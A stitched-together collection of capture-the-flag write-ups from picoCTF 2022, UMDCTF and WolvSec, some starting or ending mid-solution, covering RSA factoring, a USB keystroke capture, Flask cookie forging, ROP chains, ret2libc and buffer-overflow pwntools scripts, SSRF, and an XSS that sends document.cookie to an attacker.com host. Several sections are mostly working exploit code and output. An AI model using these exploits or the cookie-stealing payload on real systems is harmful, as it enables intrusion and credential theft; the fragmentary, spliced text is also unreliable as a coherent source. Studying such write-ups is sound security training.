```pythontheta = ((bb**2) - (4*nn)).sqrt()```
Then solve for `p` and `q`
```pythonp = (bb+theta)//2q = (bb-theta)//2```
With `p` and `q` we can rebuild the private exponent and recover the plain text flag
```pythonphi = (int(p)-1)*(int(q)-1)d = pow(e,-1,phi)pt = pow(int(c,16),d,n)print( long_to_bytes(pt))``` |
SQllite writeup at: https://h4krg33k.medium.com/picoctf-writeups-web-exploitation-writeups-93ffe48a3b5f?source=friends_link&sk=990ce0d544c6833550e521e315772263 |
Local Authority writeup: https://h4krg33k.medium.com/picoctf-writeups-web-exploitation-writeups-93ffe48a3b5f?source=friends_link&sk=990ce0d544c6833550e521e315772263 |
# How to Breakdance
## Description
My friend ctf_playah has been learning to breakdance, can you find his youtube password? Upon submission, wrap his password with UMDCTF{}.
[how_to_breakdance](how_to_breakdance.pcapng)
## Solution
The file contains a usb keyboard caputure, so we can use [this tool](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to extract the pressed keys
```console$ tshark -r how_to_breakdance.pcapng -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > key
$ python usbkeyboard.py keybest breakdancing videos on the iternethoo to lean breakdancing in one dayctf_playah1_luv_70_f1nd_c7f_fl46shttps://www.youtube.com/watch?v=7j5-u7hS0fsThis is it!The tutorial Ihave been waiting for my whole life!```
#### **FLAG >>** `UMDCTF{1_luv_70_f1nd_c7f_fl46s}` |
Writeup at: https://h4krg33k.medium.com/picoctf-writeups-web-exploitation-writeups-93ffe48a3b5f?source=friends_link&sk=990ce0d544c6833550e521e315772263 |
The writeup is available at the given link: https://h4krg33k.medium.com/picoctf-writeups-web-exploitation-writeups-93ffe48a3b5f?source=friends_link&sk=990ce0d544c6833550e521e315772263 |
# web-intro writeup (DCTF 2022)
Hello friends, in this article we gonna take a look at the challenge web-intro from the DCTF 2022.
`Challenge description : Are you an admin?`
We are given an address to connect to the website : `35.246.158.241:31589`.When entering the website we see this messages saying `Access Denied`

Looking at the source code we canβt see anything. But if we look at the cookies we can see our session.

Taking the value to jwt.io to decode it , we get the following :

`{"logged_in": false}`
As we can see We are dealing with `Flask Session Cookies` , so I googled some βflask cheat sheet hacktricksβ I got this amazing article which cover the Flask Session Cookieshttps://book.hacktricks.xyz/pentesting/pentesting-web/flask .Following this article , first thing we gonna do is decoding the cookie using the following command `flask-unsign --decode --cookie 'eyJsb2dnZWRfaW4iOmZhbHNlfQ.Yg9geQ.s8MKSRemMQyS5S60QTS0lY0Xg0oβ` by doing that We get the following output ( like jwt.io earlier )
Now we need to bruteforce the secret which was used to sign the original cookie and for this we gonna use this command :`flask-unsign --unsign --cookie < cookie.txt` where `cookie.txt` is the file containing our cookie. [ We can also use this command : `flask-unsign --unsign --server <target>` ]

Quickly we get our secret key which is `password` . Now all we need to do is signing the cookie with the secret `password` but we need to change the `{"logged_in": false}` to `{"logged_in": True}` .
So the command will be : `flask-unsign --sign --cookie "{'logged_in': True}" --secret 'password'`
After doing that we get our new cookie.

Am using a cool chrome extension called `EditThisCookie` . Simply paste the value there and hit the green thingy.

Refresh the page and theeereeeee We go!! We got our flag

`flag : CTF{66bf8ba5c3ee2bd230f5cc2de57c1f09f471de8833eae3ff7566da21eb141eb7}`
I hope You enjoyed this writeup :)
PS : The challenge is available in the Educational Archive here : https://app.cyberedu.ro/challenges/93550ce0-8a54-11ec-b670-134e64dab450/ |
# ropfu## Description
_--missing--_
# SolveThis challenged was solved by finding the offset of `rip` then using `ROPgadget` to generate a payload with the following:
```bash$ ROPgadget --binary vuln --ropchainROP chain generation==========================================================
<snip>
- Step 5 -- Build the ROP chain
#!/usr/bin/env python2 # execve generated by ROPgadget
from struct import pack
# Padding goes here p = ''
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '/bin' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5064) # @ .data + 4 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x080b074a) # pop eax ; ret p += '//sh' p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x41414141) # padding p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x08049022) # pop ebx ; ret p += pack('<I', 0x080e5060) # @ .data p += pack('<I', 0x08049e39) # pop ecx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret p += pack('<I', 0x080e5068) # @ .data + 8 p += pack('<I', 0x080e5060) # padding without overwrite ebx p += pack('<I', 0x0804fb90) # xor eax, eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0808055e) # inc eax ; ret p += pack('<I', 0x0804a3d2) # int 0x80```
This payload is then added to out script with the offset prepended to get a shell on the CTF server
## Script See the full solve script here -> [solve.py](./solve.py) |
Writeup at: https://h4krg33k.medium.com/picoctf-writeups-web-exploitation-writeups-93ffe48a3b5f?source=friends_link&sk=990ce0d544c6833550e521e315772263 |
# Minetest 1 - Digital Logic Primer
## Description
Join the server to checkout the minetest challenges. You do not need to solve one before the other!
https://www.minetest.net/
`167.71.246.192:30000`
## Solution
Let's download Minetest and join the server
The first challenge was to find out where we need to go xD, after that is was a simple logic gate resolution

#### **FLAG >>** `UMDCTF{g4t3s_r_kul}` |
file **mesage.txt***`DAFq (qgjwa fjw dkxahwz agz frke) kwz k aoxz jf djbxhazw qzdhwtao djbxzatatjn. Djnazqaknaq kwz xwzqznazs mtag k qza jf dgkrrznezq mgtdg azqa agztw dwzkatltao, azdgntdkr (kns ejjertne) qutrrq, kns xwjyrzb-qjrltne kytrtao. Dgkrrznezq hqhkrro djlzw k nhbyzw jf dkazejwtzq, kns mgzn qjrlzs, zkdg otzrsq k qawtne (dkrrzs k frke) mgtdg tq qhybtaazs aj kn jnrtnz qdjwtne qzwltdz. DAFq kwz k ewzka mko aj rzkwn k mtsz kwwko jf djbxhazw qzdhwtao qutrrq tn k qkfz, rzekr znltwjnbzna, kns kwz gjqazs kns xrkozs yo bkno qzdhwtao ewjhxq kwjhns agz mjwrs fjw fhn kns xwkdatdz. Fjw agtq xwjyrzb, agz frke tq: xtdjDAF{FW3VH3NDO4774DU54W3D0013645YZD6}`*
We visit the web page https://www.guballa.de/substitution-solver/ to decode:
`*CTFs (short for capture the flag) are a type of computer security competition. Contestants are presented with a set of challenges which test their creativity, technical (and googling) skills, and problem-solving ability. Challenges usually cover a number of categories, and when solved, each yields a string (called a flag) which is submitted to an online scoring service. CTFs are a great way to learn a wide array of computer security skills in a safe, legal environment, and are hosted and played by many security groups around the world for fun and practice. For this problem, the flag is:*`
Flag: picoCTF{XXXXXXXXX_XXXXXXX_XXX_XXXX_XXXXXXXX} |
---layout: posttitle: Abusing URL Parser for XSSsubtitle: XSS | Host Header | CSP cover-img: /assets/img/wsc.jpgthumbnail-img: /assets/img/wsc.jpgshare-img: /assets/img/wsc.jpgtags: [Web]---
# XSS 401
>## Note: The Node Version is 12.22.1
## Website:
## Source Code Review:>## server.js
```jsconst express = require('express')const puppeteer = require('puppeteer')const escape = require('escape-html')
const app = express()const port = 3000
app.use(express.static(__dirname + '/webapp'))
const visitUrl = async (url, cookieDomain) => { let browser = await puppeteer.launch({ headless: true, pipe: true, dumpio: true, ignoreHTTPSErrors: true, args: [ '--incognito', '--no-sandbox', '--disable-gpu', '--disable-software-rasterizer', '--disable-dev-shm-usage', ] })
try { const ctx = await browser.createIncognitoBrowserContext() const page = await ctx.newPage()
try { await page.setCookie({ name: 'flag', value: process.env.FLAG, domain: cookieDomain, httpOnly: false, samesite: 'strict' }) await page.goto(url, { timeout: 6000, waitUntil: 'networkidle2' }) } finally { await page.close() await ctx.close() } } finally { browser.close() }}
app.get('/visit', async (req, res) => { const url = req.query.url console.log('received url: ', url)
let parsedURL try { parsedURL = new URL(url) } catch (e) { res.send(escape(e.message)) return }
if (parsedURL.protocol !== 'http:' && parsedURL.protocol != 'https:') { res.send('Please provide a URL with the http or https protocol.') return }
if (parsedURL.hostname !== req.hostname) { res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`) return }
try { console.log('visiting url: ', url) await visitUrl(url, req.hostname) res.send('Our admin bot has visited your URL!') } catch (e) { console.log('error visiting: ', url, ', ', e.message) res.send('Error visiting your URL: ' + escape(e.message)) } finally { console.log('done visiting url: ', url) }
})
app.listen(port, async () => { console.log(`Listening on ${port}`)})```This the a XSS chal, We need to find XSS to Steal Admin Cookies.
There is only one Functionality, We can Send URL to Admin Bot, Bot will Open the Link in Browser with Flag in Cookies.
---
```js if (parsedURL.hostname !== req.hostname) { res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`) return }```* escape Function Encode all the HTML tags.
* parsedURL.hostname return the Hostname of the Provided URL.
Ex:
```jsvar url = 'https://google.com'parsedURL = new URL(url)console.log(parsedURL.hostname)
Output:
google.com```
* req.hostname is Just Host Header.* We cannot Control req.hostname value, Bcoz the Chal was Hosted in google Cloud. So, if we Changed the Value, it gives 404
* Chal Description says: `Note: The Node Version is 12.22.1`
After Some Research, I came Across a CVE(CVE-2021-22931)
```missing input validation of host names returned by Domain Name Servers in Node.js dns library which can lead to output of wrong hostnames...```
But, I cannot find any Public Exploits.
---
## HTML Injection Due to CVE-2021-22931
```js if (parsedURL.hostname !== req.hostname) { res.send(`Please provide a URL with a hostname of: ${escape(req.hostname)}, your parsed hostname was: escape(${parsedURL.hostname})`) return }```
If You Look Closer, the ${parsedURL.hostname} is Not escaped.
>## URL : ```https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<h1>godson</h1>```
## Some RFC's for HostName:
* Should not contain space* No matter, Upper case or Lower case, hostname will automatically converted to lowercase by the browser* Here Some chars that Break the hostname ``` ? / \ # @ ```
## Exploit IDEA:
* We need a Payload without space and the without the above chars. * UrlEncoding the `white space` doesn't work.* Unicodes are Allowed in Hostnames* We Need to find a Unicode Char that Act like a white space, So we can Use that unicode as space to Bypass the RFC rules.
## Harmless XSS:
* After 20 Min of Research, I came across a Blog with this payload. "Form Feed Injection"
>`<svg%0Conload=alert()>`
---
## Weaponizing XSS:
* So, Now We have a XSS. * My First Idea was to use btoa(base64) to Encode the Cookies and Redirect the Bot to attacker server with the Cookies as path. (`onload=window.location = 'http://attacker.com/?'+btoa(document.cookie)`)* As i Mentioned Above, `Upper case or Lower case, hostname will automatically converted to lowercase by the browser`
* So, Now the the Encoded Base64 cookie will be automatically converted to Lower Case. Usually Base64 is a Mix of Both Upper and Lower Case letters
---
* If You Look Closer to The Above Image, the Payload is`alert('AAABBBCCC')` . But the Browser Automatically Converted the upper case to lowercase. bcoz, THIS IS HOSTNAME. lol---
* After 1 Hour, I realized, We can Write our Javascript Outside the Hostname and call the payload from Hostname.
Ex:```https://https://wsc-2022-web-5-bvel4oasra-uc.a.run.app/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>#alert('AABBCCaabbcc')```
* `location.hash.slice(1)` return the value after `#`* `eval` is a Javascript Function to run the Javascript Code.
* Now, Browser Doesn't Converted the Upper Case to Lowercase.
## Flag:
```jstry { await page.setCookie({ name: 'flag', value: process.env.FLAG, domain: cookieDomain, httpOnly: false, samesite: 'strict' })```
From the Above Code, We know that, Flag is in the Admin Bot's Cookie
### Exploit:
URL:
```https://chal.link/visit?url=https://<svg%0Conload=eval(location.hash.slice(1))>/#window.location='https://attacker.com/?'+document.cookie```
> Flag: wsc{wh0_kn3w_d0m41n_x55_w4s_4_th1n6} |
## Question
Pwning your friends is a class act. So why not do it to some random server?[classicact](https://github.com/tj-oconnor/ctf-writeups/blob/main/umdctf/classicact/classicact)
0.cloud.chals.io 10058
## Solution
The first input suffers from a format string vulnerability. We can use it to leak the address of ```_IO_2_1_stdout_``` in libc and the stack canary.
```pwndbg> rStarting program: /root/workspace/classicact Please enter your name!%12$p.%19$p Hello:0x7ffff7fa56c0.0x43b7ce88a6a7e900What would you like to do today?
pwndbg> x/i 0x7ffff7fa56c0 0x7ffff7fa56c0 <_IO_2_1_stdout_>: xchg DWORD PTR [rax],ebp
pwndbg> canaryAT_RANDOM = 0x7fffffffe849 # points to (not masked) global canary valueCanary = 0x43b7ce88a6a7e900 (may be incorrect on != glibc)Found valid canaries on the stacks:00:0000β 0x7fffffffe528 ββ 0x43b7ce88a6a7e900```
Since we have an address to libc we can just call system('/bin/sh'). We'll need a ```pop rdi; ret``` gadget to load the address of /bin/sh into rdi. We'll also need a ```ret``` gadget to align the stack.
```python ret = (r.find_gadget(['ret']))[0] pop_rdi = pop_rdi = (r.find_gadget(['pop rdi', 'ret']))[0] binsh=next(libc.search(b'/bin/sh\0')) system=libc.sym['system']```
The binary has stack canaries enabled, so we'll need to repair the canary before executing our ROP chain.
```python chain = cyclic(72) chain += p64(canary) chain += cyclic(8) chain += p64(ret) ...```
Our final exploit follows. After a little trial and error, we determined the challenge authors were using an ubuntu:20.04 container. So we used the following [libc](libc-20.04)
```pythonfrom pwn import *
def leak(): p.sendline(b'%12$p.%19$p') p.recvuntil(b'Hello:') leaks=p.recv().strip(b'\nWhat would you like to do today?\n').split(b'.') libc.address=int(leaks[0],16)-libc.sym['_IO_2_1_stdout_'] canary=int(leaks[1],16) return canary
def rop_system(canary): ret = (r.find_gadget(['ret']))[0] pop_rdi = pop_rdi = (r.find_gadget(['pop rdi', 'ret']))[0] binsh=next(libc.search(b'/bin/sh\0')) system=libc.sym['system']
chain = cyclic(72) chain += p64(canary) chain += cyclic(8) chain += p64(ret) chain += p64(pop_rdi) chain += p64(binsh) chain += p64(system) p.sendline(chain)
e = context.binary = ELF('./classicact')r = ROP(e)#libc= ELF('/lib/x86_64-linux-gnu/libc.so.6')libc= ELF('./libc-20.04')#p = process('./classicact',level="error") p = remote('0.cloud.chals.io',10058)
canary=leak()rop_system(canary)p.interactive()```Running it gives us a shell and we can read the flag.
```[+] Opening connection to 0.cloud.chals.io on port 10058: Done[*] Switching to interactive modeGood luck doing that!$ cat flagUMDCTF{H3r3_W3_G0_AgAIn_an0thEr_RET2LIBC}``` |
We download file **SafeOpener.java**
```import java.io.*;import java.util.*; public class SafeOpener { public static void main(String args[]) throws IOException { BufferedReader keyboard = new BufferedReader(new InputStreamReader(System.in)); Base64.Encoder encoder = Base64.getEncoder(); String encodedkey = ""; String key = ""; int i = 0; boolean isOpen;
while (i < 3) { System.out.print("Enter password for the safe: "); key = keyboard.readLine();
encodedkey = encoder.encodeToString(key.getBytes()); System.out.println(encodedkey); isOpen = openSafe(encodedkey); if (!isOpen) { System.out.println("You have " + (2 - i) + " attempt(s) left"); i++; continue; } break; } } public static boolean openSafe(String password) { String encodedkey = "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz"; if (password.equals(encodedkey)) { System.out.println("Sesame open"); return true; } else { System.out.println("Password is incorrect\n"); return false; } }}```
We see in the file with Base64 encoding and we notice the variable encodekey "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz"
echo "cGwzYXMzX2wzdF9tM18xbnQwX3RoM19zYWYz" |base64 --d =>Flag: XXXXXX_XXX_XX_XXXX_XXX_XXXX |
Challege source and solver script: [https://github.com/sambrow/wolvsec_ctf_2022/](https://github.com/sambrow/wolvsec_ctf_2022/)
Intended solve (by the challeng author):
https://wsc-2022-web-4-bvel4oasra-uc.a.run.app/ssrf?path=password@localhost:10011/flag
This causes the following code:
``` const url = `http://localhost:${private1Port}${normalizedPath}```` to construct the following url:
http://localhost:1001password@localhost:10011/flag
The syntax here is:
```http://<username>:<password>@<domain>:<port>/<resource>```
The username/password are just ignored by these apps so the rest is under your control and can be used to visit the private2.js app to get the flag.
Note: There was at least one very creative solve that did not require use of the @ symbol. Hoping that person will create a writeup.
|
This task some harder than other reverse task in this competition, but it has a really simple decision.
1. Open IDA or other Disassembler to analyse source code; 1.1 If you have troubles with checking function in main(IDA only), change the borders of functions in the function and end it up to main function;2. You can see the part of flag: "picoCTF{br1ng_y0ur_0wn_k3y";3. Other symbols encrypted, we see a lot of codelines. Try to write reverse programm, but what is MD5?;4. This cryptography function available to us in cryptography library;5. Write reverse programm and start it with gcc programm.c -o programm.exe -lcrypto; |
Okay... Let's try to understand it.
1. We see standard elf-file. If we start it in the terminal, he ask us "What is my favourite number?". Reverse is starting...;2. You should open IDA, or other disassembler, like Ghidra or BinaryNinja;3. Decompilation show us "libcstartmain()" function that open main() function;4. Follow to main function and see our programm. It ask us its favourite number and in the next string it push our input in the variable. The variable has comparision with the number "549255";5. Now we can write it in the terminal and get our flag;
P.s. If your elf-file hasn't execution use " chmod u+x 'elf-file' " to correct it. |
# buffer overflow 2 - picoCTF 2022 - CMU Cybersecurity CompetitionBinary Exploitation, 300 Points
## Description
 ## buffer overflow 2 Solution
Let's observe the attached file [vuln.c](./vuln.c):```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>
#define BUFSIZE 100#define FLAGSIZE 64
void win(unsigned int arg1, unsigned int arg2) { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(buf,FLAGSIZE,f); if (arg1 != 0xCAFEF00D) return; if (arg2 != 0xF00DF00D) return; printf(buf);}
void vuln(){ char buf[BUFSIZE]; gets(buf); puts(buf);}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid);
puts("Please enter your string: "); vuln(); return 0;}```
Let's run ```checksec``` on the attached file [vuln](./vuln):```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/bof_2]ββββΌ $ checksec vuln[*] '/pictoctf2022/binary_exploitation/bof_2/vuln'Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
```
We can see no [PIE](https://ir0nstone.gitbook.io/notes/types/stack/pie) enable.
We need to overwrite the retur address on ```vuln``` function to ```win``` function, But as we can see, now we need to pass two arguments to ```win``` function, the first argument is ```0xCAFEF00D``` and the second is ```0xF00DF00D```.
Let's find the offset between ```buf``` to ```EIP``` using ```gdb```:```asmββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/bof_2]ββββΌ $ gdb vulngefβ€ rStarting program: /pictoctf2022/binary_exploitation/bof_2/vuln Please enter your string: AAAAAAAA
...gefβ€ search-pattern AAAAAAAA[+] Searching 'AAAAAAAA' in memory[+] In '[heap]'(0x804d000-0x806f000), permission=rw- 0x804d1a0 - 0x804d1aa β "AAAAAAAA\n" [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rw- 0xffffd00c - 0xffffd014 β "AAAAAAAA" gefβ€ i fStack level 0, frame at 0xffffd080: eip = 0x804935a in vuln; saved eip = 0x80493dd called by frame at 0xffffd0b0 Arglist at 0xffffcfec, args: Locals at 0xffffcfec, Previous frame's sp is 0xffffd080 Saved registers: ebx at 0xffffd074, ebp at 0xffffd078, eip at 0xffffd07c
```
The buffer locates on ```0xffffd00c``` and ```EIP``` locates on ```0xffffd07c```, The offset is 112 bytes.
Meaning that we need to insert 112 bytes (including the arguments) and then the address of ```win``` function:```...| buf[100] | 12bytes | EIP | ... arguments ...````
According to the stack frame ([Reference](https://zhu45.org/posts/2017/Jul/30/understanding-how-function-call-works/)):

Our payload shoule be ```100bytes (buffer) + 12 bytes + EIP (address of win function) + 4 Bytes (EBP+4 which is return address) + arg1 + arg2```
Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html):```pythonfrom pwn import *
elf = ELF('./vuln')libc = elf.libc
if args.REMOTE: p = remote('saturn.picoctf.net',50104)else: p = process(elf.path)
# payload bufferpayload = b'A'*112payload += p32(0x8049296) #Address of win functionpayload += p32(0x8049372) # address of main function which is the return address from win.payload += p32(0xCAFEF00D)+p32(0xF00DF00D) # arg1, arg2
print(p.recvuntil(':'))p.send(payload)p.interactive()```
Run it:```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/bof_2]ββββΌ $ python3 exp.py REMOTE[*] '/pictoctf2022/binary_exploitation/bof_2/vuln' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)[*] '/usr/lib32/libc-2.31.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to saturn.picoctf.net on port 50104: Doneb'Please enter your string:'[*] Switching to interactive mode $ \xf0\xfe\xcaAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\x96\x92\x04r\x93\x04$ picoCTF{argum3nt5_4_d4yZ_2a8ec317}Please enter your string:
```
And we get the flag ```picoCTF{argum3nt5_4_d4yZ_2a8ec317}```. |
# buffer overflow 1 - picoCTF 2022 - CMU Cybersecurity CompetitionBinary Exploitation, 200 Points
## Description
 ## buffer overflow 1 Solution
Let's observe the attached file [vuln.c](./vuln.c):```c#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <sys/types.h>#include "asm.h"
#define BUFSIZE 32#define FLAGSIZE 64
void win() { char buf[FLAGSIZE]; FILE *f = fopen("flag.txt","r"); if (f == NULL) { printf("%s %s", "Please create 'flag.txt' in this directory with your", "own debugging flag.\n"); exit(0); }
fgets(buf,FLAGSIZE,f); printf(buf);}
void vuln(){ char buf[BUFSIZE]; gets(buf);
printf("Okay, time to return... Fingers Crossed... Jumping to 0x%x\n", get_return_address());}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0); gid_t gid = getegid(); setresgid(gid, gid, gid);
puts("Please enter your string: "); vuln(); return 0;}```
Let's run ```checksec``` on the attached file [vuln](./vuln):```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/bof_1]ββββΌ $ checksec vuln[*] '/pictoctf2022/binary_exploitation/bof_1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments```
We can see no [PIE](https://ir0nstone.gitbook.io/notes/types/stack/pie) enable.
We need to change the return address from ```vuln``` function to the address of ```win``` function.
Let's find the address of ```win``` function using ```gdb```:```consolegefβ€ p win$1 = {<text variable, no debug info>} 0x80491f6 <win>```
We can overwrite the return address using ```gets(buf)``` on ```vuln``` function, The buffer size is 32.
Let's find the offset between ```buf``` to ```EIP```:```consolegefβ€ rStarting program: /pictoctf2022/binary_exploitation/bof_1/vuln Please enter your string: AAAAAAAA
...gefβ€ search-pattern AAAAAAAA[+] Searching 'AAAAAAAA' in memory[+] In '[heap]'(0x804d000-0x806f000), permission=rwx 0x804d1a0 - 0x804d1aa β "AAAAAAAA\n" [+] In '[stack]'(0xfffdd000-0xffffe000), permission=rwx 0xffffd050 - 0xffffd058 β "AAAAAAAA" gefβ€ i fStack level 0, frame at 0xffffd080: eip = 0x80492a3 in vuln; saved eip = 0x804932f called by frame at 0xffffd0b0 Arglist at 0xffffd03c, args: Locals at 0xffffd03c, Previous frame's sp is 0xffffd080 Saved registers: ebx at 0xffffd074, ebp at 0xffffd078, eip at 0xffffd07c
```
We can see the buffer located on ```0xffffd050``` and ```EIP``` on ```0xffffd07c```, The offset is 44 bytes (0xffffd07c - 0xffffd050).
Meaning that we need to insert ```44``` bytes of chunk and then the address of ```win``` function:```c...| buf[32] | 12bytes | EIP | ....````
Let's solve it using [pwntools](https://docs.pwntools.com/en/stable/intro.html):```pythonfrom pwn import *
elf = ELF('./vuln')libc = elf.libc
if args.REMOTE: p = remote('saturn.picoctf.net',61406)else: p = process(elf.path)
# payload bufferpayload = b'A'*44payload += p32(0x80491f6)
print(p.recvuntil(':'))p.send(payload)p.interactive()```
Run it:```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/bof_1]ββββΌ $ python3 bof1.py REMOTE[*] '/pictoctf2022/binary_exploitation/bof_1' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x8048000) RWX: Has RWX segments[*] '/usr/lib32/libc-2.31.so' Arch: i386-32-little RELRO: Partial RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled[+] Opening connection to saturn.picoctf.net on port 61406: Doneb'Please enter your string:'[*] Switching to interactive mode $ Okay, time to return... Fingers Crossed... Jumping to 0x80491f6picoCTF{addr3ss3s_ar3_3asy_60fac6aa}[*] Got EOF while reading in interactive
```
And we get the flag ```picoCTF{addr3ss3s_ar3_3asy_60fac6aa}```. |
# RPS - picoCTF 2022 - CMU Cybersecurity CompetitionBinary Exploitation, 200 Points
## Description
 ## RPS Solution
Let's observe the attached file [game-redacted.c](./game-redacted.c):```c#include <stdio.h>#include <stdlib.h>#include <stdbool.h>#include <string.h>#include <time.h>#include <unistd.h>#include <sys/time.h>#include <sys/types.h>
#define WAIT 60
static const char* flag = "[REDACTED]";
char* hands[3] = {"rock", "paper", "scissors"};char* loses[3] = {"paper", "scissors", "rock"};int wins = 0;
int tgetinput(char *input, unsigned int l){ fd_set input_set; struct timeval timeout; int ready_for_reading = 0; int read_bytes = 0; if( l <= 0 ) { printf("'l' for tgetinput must be greater than 0\n"); return -2; } /* Empty the FD Set */ FD_ZERO(&input_set ); /* Listen to the input descriptor */ FD_SET(STDIN_FILENO, &input_set);
/* Waiting for some seconds */ timeout.tv_sec = WAIT; // WAIT seconds timeout.tv_usec = 0; // 0 milliseconds
/* Listening for input stream for any activity */ ready_for_reading = select(1, &input_set, NULL, NULL, &timeout); /* Here, first parameter is number of FDs in the set, * second is our FD set for reading, * third is the FD set in which any write activity needs to updated, * which is not required in this case. * Fourth is timeout */
if (ready_for_reading == -1) { /* Some error has occured in input */ printf("Unable to read your input\n"); return -1; }
if (ready_for_reading) { read_bytes = read(0, input, l-1); if(input[read_bytes-1]=='\n'){ --read_bytes; input[read_bytes]='\0'; } if(read_bytes==0){ printf("No data given.\n"); return -4; } else { return 0; } } else { printf("Timed out waiting for user input. Press Ctrl-C to disconnect\n"); return -3; }
return 0;}
bool play () { char player_turn[100]; srand(time(0)); int r;
printf("Please make your selection (rock/paper/scissors):\n"); r = tgetinput(player_turn, 100); // Timeout on user input if(r == -3) { printf("Goodbye!\n"); exit(0); }
int computer_turn = rand() % 3; printf("You played: %s\n", player_turn); printf("The computer played: %s\n", hands[computer_turn]);
if (strstr(player_turn, loses[computer_turn])) { puts("You win! Play again?"); return true; } else { puts("Seems like you didn't win this time. Play again?"); return false; }}
int main () { char input[3] = {'\0'}; int command; int r;
puts("Welcome challenger to the game of Rock, Paper, Scissors"); puts("For anyone that beats me 5 times in a row, I will offer up a flag I found"); puts("Are you ready?"); while (true) { puts("Type '1' to play a game"); puts("Type '2' to exit the program"); r = tgetinput(input, 3); // Timeout on user input if(r == -3) { printf("Goodbye!\n"); exit(0); } if ((command = strtol(input, NULL, 10)) == 0) { puts("Please put in a valid number"); } else if (command == 1) { printf("\n\n"); if (play()) { wins++; } else { wins = 0; }
if (wins >= 5) { puts("Congrats, here's the flag!"); puts(flag); } } else if (command == 2) { return 0; } else { puts("Please type either 1 or 2"); } }
return 0;}```
We need to win at least 5 times to get the flag.
Let's observe the winning check on ```play``` function:```c...if (strstr(player_turn, loses[computer_turn])) { puts("You win! Play again?"); return true; }...```
We can see function ```strstr``` which finds the first occurrence of the substring second argument in the first argument.
```loses``` array is:```cchar* loses[3] = {"paper", "scissors", "rock"};```
So if our string will be ```paperscissorsrock``` we always get into the ```if``` statement because each word on ```loses``` array exists on ```paperscissorsrock```, Let's try it:```consoleββ[evyatar@parrot]β[/pictoctf2022/binary_exploitation/rps]ββββΌ $ nc saturn.picoctf.net 52524Welcome challenger to the game of Rock, Paper, ScissorsFor anyone that beats me 5 times in a row, I will offer up a flag I foundAre you ready?Type '1' to play a gameType '2' to exit the program11
Please make your selection (rock/paper/scissors):paperscissorsrockpaperscissorsrockYou played: paperscissorsrockThe computer played: scissorsYou win! Play again?Type '1' to play a gameType '2' to exit the program11
Please make your selection (rock/paper/scissors):paperscissorsrockpaperscissorsrockYou played: paperscissorsrockThe computer played: scissorsYou win! Play again?Type '1' to play a gameType '2' to exit the program11
Please make your selection (rock/paper/scissors):paperscissorsrockpaperscissorsrockYou played: paperscissorsrockThe computer played: scissorsYou win! Play again?Type '1' to play a gameType '2' to exit the program11
Please make your selection (rock/paper/scissors):paperscissorsrockpaperscissorsrockYou played: paperscissorsrockThe computer played: rockYou win! Play again?Type '1' to play a gameType '2' to exit the program11
